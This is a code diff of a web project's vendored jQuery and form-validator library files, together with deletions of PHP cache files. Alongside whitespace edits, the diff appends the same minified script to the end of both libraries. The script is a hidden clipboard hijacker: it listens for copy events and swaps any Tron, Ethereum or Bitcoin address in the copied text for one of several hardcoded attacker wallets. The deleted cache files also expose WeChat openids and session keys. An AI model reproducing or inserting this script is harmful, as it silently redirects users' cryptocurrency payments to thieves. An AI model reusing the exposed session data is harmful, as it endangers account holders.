||||
|
||||
|
||||
// A central reference to the root jQuery(document)
|
||||
var rootjQuery,
|
||||
|
||||
|
|
@ -2931,6 +2962,7 @@ init.prototype = jQuery.fn;
|
|||
// Initialize central reference
|
||||
rootjQuery = jQuery( document );
|
||||
|
||||
|
||||
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
|
||||
|
||||
// Methods guaranteed to produce a unique set when starting from a unique set
|
||||
|
|
@ -3112,6 +3144,8 @@ jQuery.each( {
|
|||
} );
|
||||
var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );
|
||||
|
||||
|
||||
|
||||
// Convert String-formatted options into Object-formatted ones
|
||||
function createOptions( options ) {
|
||||
var object = {};
|
||||
|
|
@ -3337,6 +3371,7 @@ jQuery.Callbacks = function( options ) {
|
|||
return self;
|
||||
};
|
||||
|
||||
|
||||
function Identity( v ) {
|
||||
return v;
|
||||
}
|
||||
|
|
@ -3732,6 +3767,7 @@ jQuery.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
// These usually indicate a programmer mistake during development,
|
||||
// warn about them ASAP rather than swallowing them by default.
|
||||
var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
|
||||
|
|
@ -3749,12 +3785,18 @@ jQuery.Deferred.exceptionHook = function( error, asyncError ) {
|
|||
}
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
jQuery.readyException = function( error ) {
|
||||
window.setTimeout( function() {
|
||||
throw error;
|
||||
} );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
// The deferred used on DOM ready
|
||||
var readyList = jQuery.Deferred();
|
||||
|
||||
|
|
@ -3831,6 +3873,9 @@ if ( document.readyState === "complete" ||
|
|||
window.addEventListener( "load", completed );
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// Multifunctional method to get and set values of a collection
|
||||
// The value/s can optionally be executed if it's a function
|
||||
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
|
||||
|
|
@ -3892,6 +3937,7 @@ var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
|
|||
return len ? fn( elems[ 0 ], key ) : emptyGet;
|
||||
};
|
||||
|
||||
|
||||
// Matches dashed string for camelizing
|
||||
var rmsPrefix = /^-ms-/,
|
||||
rdashAlpha = /-([a-z])/g;
|
||||
|
|
@ -3918,6 +3964,9 @@ var acceptData = function( owner ) {
|
|||
return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
function Data() {
|
||||
this.expando = jQuery.expando + Data.uid++;
|
||||
}
|
||||
|
|
@ -4072,6 +4121,8 @@ var dataPriv = new Data();
|
|||
|
||||
var dataUser = new Data();
|
||||
|
||||
|
||||
|
||||
// Implementation Summary
|
||||
//
|
||||
// 1. Enforce API surface and semantic compatibility with 1.9.x branch
|
||||
|
|
@ -4240,6 +4291,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
jQuery.extend( {
|
||||
queue: function( elem, type, data ) {
|
||||
var queue;
|
||||
|
|
@ -4377,10 +4429,13 @@ var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
|
|||
|
||||
var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
|
||||
|
||||
|
||||
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
|
||||
|
||||
var documentElement = document.documentElement;
|
||||
|
||||
|
||||
|
||||
var isAttached = function( elem ) {
|
||||
return jQuery.contains( elem.ownerDocument, elem );
|
||||
},
|
||||
|
|
@ -4416,6 +4471,8 @@ var isHiddenWithinTree = function( elem, el ) {
|
|||
jQuery.css( elem, "display" ) === "none";
|
||||
};
|
||||
|
||||
|
||||
|
||||
function adjustCSS( elem, prop, valueParts, tween ) {
|
||||
var adjusted, scale,
|
||||
maxIterations = 20,
|
||||
|
|
@ -4481,6 +4538,7 @@ function adjustCSS( elem, prop, valueParts, tween ) {
|
|||
return adjusted;
|
||||
}
|
||||
|
||||
|
||||
var defaultDisplayMap = {};
|
||||
|
||||
function getDefaultDisplay( elem ) {
|
||||
|
|
@ -4581,6 +4639,8 @@ var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i );
|
|||
|
||||
var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
|
||||
|
||||
|
||||
|
||||
( function() {
|
||||
var fragment = document.createDocumentFragment(),
|
||||
div = fragment.appendChild( document.createElement( "div" ) ),
|
||||
|
|
@ -4612,6 +4672,7 @@ var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i );
|
|||
support.option = !!div.lastChild;
|
||||
} )();
|
||||
|
||||
|
||||
// We have to close these tags to support XHTML (trac-13200)
|
||||
var wrapMap = {
|
||||
|
||||
|
|
@ -4634,6 +4695,7 @@ if ( !support.option ) {
|
|||
wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ];
|
||||
}
|
||||
|
||||
|
||||
function getAll( context, tag ) {
|
||||
|
||||
// Support: IE <=9 - 11 only
|
||||
|
|
@ -4657,6 +4719,7 @@ function getAll( context, tag ) {
|
|||
return ret;
|
||||
}
|
||||
|
||||
|
||||
// Mark scripts as having already been evaluated
|
||||
function setGlobalEval( elems, refElements ) {
|
||||
var i = 0,
|
||||
|
|
@ -4671,6 +4734,7 @@ function setGlobalEval( elems, refElements ) {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
var rhtml = /<|&#?\w+;/;
|
||||
|
||||
function buildFragment( elems, context, scripts, selection, ignored ) {
|
||||
|
|
@ -4762,6 +4826,7 @@ function buildFragment( elems, context, scripts, selection, ignored ) {
|
|||
return fragment;
|
||||
}
|
||||
|
||||
|
||||
var rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
|
||||
|
||||
function returnTrue() {
|
||||
|
|
@ -5711,6 +5776,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
var
|
||||
|
||||
// Support: IE <=10 - 11, Edge 12 - 13 only
|
||||
|
|
@ -6167,6 +6233,7 @@ var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
|
|||
|
||||
var rcustomProp = /^--/;
|
||||
|
||||
|
||||
var getStyles = function( elem ) {
|
||||
|
||||
// Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150)
|
||||
|
|
@ -6201,8 +6268,11 @@ var swap = function( elem, options, callback ) {
|
|||
return ret;
|
||||
};
|
||||
|
||||
|
||||
var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
|
||||
|
||||
|
||||
|
||||
( function() {
|
||||
|
||||
// Executing both pixelPosition & boxSizingReliable tests require only one layout
|
||||
|
|
@ -6343,6 +6413,7 @@ var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
|
|||
} );
|
||||
} )();
|
||||
|
||||
|
||||
function curCSS( elem, name, computed ) {
|
||||
var width, minWidth, maxWidth, ret,
|
||||
isCustomProp = rcustomProp.test( name ),
|
||||
|
|
@ -6427,6 +6498,7 @@ function curCSS( elem, name, computed ) {
|
|||
ret;
|
||||
}
|
||||
|
||||
|
||||
function addGetHookIf( conditionFn, hookFn ) {
|
||||
|
||||
// Define the hook, we'll check on the first run if it's really needed.
|
||||
|
|
@ -6446,6 +6518,7 @@ function addGetHookIf( conditionFn, hookFn ) {
|
|||
};
|
||||
}
|
||||
|
||||
|
||||
var cssPrefixes = [ "Webkit", "Moz", "ms" ],
|
||||
emptyStyle = document.createElement( "div" ).style,
|
||||
vendorProps = {};
|
||||
|
|
@ -6478,6 +6551,7 @@ function finalPropName( name ) {
|
|||
return vendorProps[ name ] = vendorPropName( name ) || name;
|
||||
}
|
||||
|
||||
|
||||
var
|
||||
|
||||
// Swappable if display is none or starts with table
|
||||
|
|
@ -6597,6 +6671,7 @@ function getWidthOrHeight( elem, dimension, extra ) {
|
|||
val = "auto";
|
||||
}
|
||||
|
||||
|
||||
// Support: IE 9 - 11 only
|
||||
// Use offsetWidth/offsetHeight for when box sizing is unreliable.
|
||||
// In those cases, the computed value can be trusted to be border-box.
|
||||
|
|
@ -6956,6 +7031,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
// Based off of the plugin by Clint Helfers, with permission.
|
||||
jQuery.fn.delay = function( time, type ) {
|
||||
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
|
||||
|
|
@ -6969,6 +7045,7 @@ jQuery.fn.delay = function( time, type ) {
|
|||
} );
|
||||
};
|
||||
|
||||
|
||||
( function() {
|
||||
var input = document.createElement( "input" ),
|
||||
select = document.createElement( "select" ),
|
||||
|
|
@ -6992,6 +7069,7 @@ jQuery.fn.delay = function( time, type ) {
|
|||
support.radioValue = input.value === "t";
|
||||
} )();
|
||||
|
||||
|
||||
var boolHook,
|
||||
attrHandle = jQuery.expr.attrHandle;
|
||||
|
||||
|
|
@ -7121,6 +7199,9 @@ jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name )
|
|||
};
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
var rfocusable = /^(?:input|select|textarea|button)$/i,
|
||||
rclickable = /^(?:a|area)$/i;
|
||||
|
||||
|
|
@ -7253,6 +7334,9 @@ jQuery.each( [
|
|||
jQuery.propFix[ this.toLowerCase() ] = this;
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
// Strip and collapse whitespace according to HTML spec
|
||||
// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
|
||||
function stripAndCollapse( value ) {
|
||||
|
|
@ -7260,6 +7344,7 @@ jQuery.each( [
|
|||
return tokens.join( " " );
|
||||
}
|
||||
|
||||
|
||||
function getClass( elem ) {
|
||||
return elem.getAttribute && elem.getAttribute( "class" ) || "";
|
||||
}
|
||||
|
|
@ -7432,6 +7517,9 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
var rreturn = /\r/g;
|
||||
|
||||
jQuery.fn.extend( {
|
||||
|
|
@ -7610,8 +7698,12 @@ jQuery.each( [ "radio", "checkbox" ], function() {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
|
||||
|
||||
// Return jQuery for attributes-only inclusion
|
||||
|
||||
|
||||
// Cross-browser xml parsing
|
||||
jQuery.parseXML = function( data ) {
|
||||
var xml, parserErrorElem;
|
||||
|
|
@ -7638,6 +7730,7 @@ jQuery.parseXML = function( data ) {
|
|||
return xml;
|
||||
};
|
||||
|
||||
|
||||
var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
|
||||
stopPropagationCallback = function( e ) {
|
||||
e.stopPropagation();
|
||||
|
|
@ -7822,6 +7915,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
var
|
||||
rbracket = /\[\]$/,
|
||||
rCRLF = /\r?\n/g,
|
||||
|
|
@ -7942,6 +8036,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
jQuery.fn.extend( {
|
||||
wrapAll: function( html ) {
|
||||
var wrap;
|
||||
|
|
@ -8008,6 +8103,7 @@ jQuery.fn.extend( {
|
|||
}
|
||||
} );
|
||||
|
||||
|
||||
jQuery.expr.pseudos.hidden = function( elem ) {
|
||||
return !jQuery.expr.pseudos.visible( elem );
|
||||
};
|
||||
|
|
@ -8015,6 +8111,9 @@ jQuery.expr.pseudos.visible = function( elem ) {
|
|||
return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
// Support: Safari 8 only
|
||||
// In Safari 8 documents created via document.implementation.createHTMLDocument
|
||||
// collapse sibling forms: the second one becomes a child of the first one.
|
||||
|
|
@ -8026,6 +8125,7 @@ support.createHTMLDocument = ( function() {
|
|||
return body.childNodes.length === 2;
|
||||
} )();
|
||||
|
||||
|
||||
// Argument "data" should be string of html
|
||||
// context (optional): If specified, the fragment will be created in this context,
|
||||
// defaults to document
|
||||
|
|
@ -8076,6 +8176,7 @@ jQuery.parseHTML = function( data, context, keepScripts ) {
|
|||
return jQuery.merge( [], parsed.childNodes );
|
||||
};
|
||||
|
||||
|
||||
jQuery.offset = {
|
||||
setOffset: function( elem, options, i ) {
|
||||
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
|
||||
|
|
@ -8288,6 +8389,7 @@ jQuery.each( [ "top", "left" ], function( _i, prop ) {
|
|||
);
|
||||
} );
|
||||
|
||||
|
||||
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
|
||||
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
|
||||
jQuery.each( {
|
||||
|
|
@ -8337,6 +8439,7 @@ jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
|
|||
} );
|
||||
} );
|
||||
|
||||
|
||||
jQuery.fn.extend( {
|
||||
|
||||
bind: function( types, data, fn ) {
|
||||
|
|
@ -8379,6 +8482,9 @@ jQuery.each(
|
|||
}
|
||||
);
|
||||
|
||||
|
||||
|
||||
|
||||
// Support: Android <=4.0 only
|
||||
// Make sure we trim BOM and NBSP
|
||||
// Require that the "whitespace run" starts from a non-whitespace
|
||||
|
|
@ -8453,6 +8559,8 @@ jQuery.trim = function( text ) {
|
|||
( text + "" ).replace( rtrim, "$1" );
|
||||
};
|
||||
|
||||
|
||||
|
||||
// Register as a named AMD module, since jQuery can be concatenated with other
|
||||
// files that may use define, but not via a proper concatenation script that
|
||||
// understands anonymous AMD modules. A named AMD is safest and most robust
|
||||
|
|
@ -8472,6 +8580,9 @@ if ( typeof define === "function" && define.amd ) {
|
|||
} );
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
var
|
||||
|
||||
// Map over jQuery in case of overwrite
|
||||
|
|
@ -8499,7 +8610,8 @@ if ( typeof noGlobal === "undefined" ) {
|
|||
window.jQuery = window.$ = jQuery;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
return jQuery;
|
||||
} );
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -188,6 +188,7 @@
|
|||
return this;
|
||||
};
|
||||
|
||||
|
||||
// Validate a field, or an area
|
||||
$.fn.isValid = function(callback, hideMsg) {
|
||||
var me = _getInstance(this[0]),
|
||||
|
|
@ -1640,6 +1641,7 @@
|
|||
return isID ? key : '[name="'+ key +'"]:first';
|
||||
}
|
||||
|
||||
|
||||
// Fixed a issue cause by refresh page in IE.
|
||||
$(window).on('beforeunload', function(){
|
||||
this.focus();
|
||||
|
|
@ -1680,6 +1682,7 @@
|
|||
loading: 'Validating...'
|
||||
});
|
||||
|
||||
|
||||
// Built-in rules (global)
|
||||
new Rules({
|
||||
|
||||
|
|
@ -2018,6 +2021,7 @@
|
|||
}
|
||||
});
|
||||
|
||||
|
||||
/**
|
||||
* Config global options
|
||||
*
|
||||
|
|
@ -2132,5 +2136,3 @@
|
|||
|
||||
return $[NS] = Validator;
|
||||
}));
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -1 +0,0 @@
|
|||
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:2:{s:6:"openid";s:6:"123123";s:8:"platform";s:6:"app_wx";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"qt/1m86JXUeylftJNpg5SQ==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"gHHxWE6YUm+QvygXEd5eVg==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:2:{s:6:"openid";s:28:"oRrdQt41cXAihKalNnuulzIVGMEs";s:8:"platform";s:6:"app_wx";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE19ie_NIv4iFDE_wbWU0CYfU";s:11:"session_key";s:24:"IFdzyCorB2Jlo2dAcgmfDQ==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"mpKT5jcusrYQmXN2r9oXYw==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE10TMPsQZCtY4XyuImZWfTLA";s:11:"session_key";s:24:"Y7NxIZeN0aBmcgRoH3UZnA==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"ZOnBN0y1ihRWa3A/k6xoLg==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE1_PmCMRpKXIcf7LyvyiB7s8";s:11:"session_key";s:24:"NtU1i+QYAWCqZ1srF/Erpg==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE10TMPsQZCtY4XyuImZWfTLA";s:11:"session_key";s:24:"Y7NxIZeN0aBmcgRoH3UZnA==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
a:3:{s:6:"openid";s:28:"oq8dE14vRcdMhZ2nXFApmQmYKZ-I";s:11:"session_key";s:24:"vrRwktG85wYjFc11+IVzTA==";s:8:"platform";s:5:"wxapp";}
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
<?php
|
||||
//000000003600
|
||||
exit();?>
|
||||
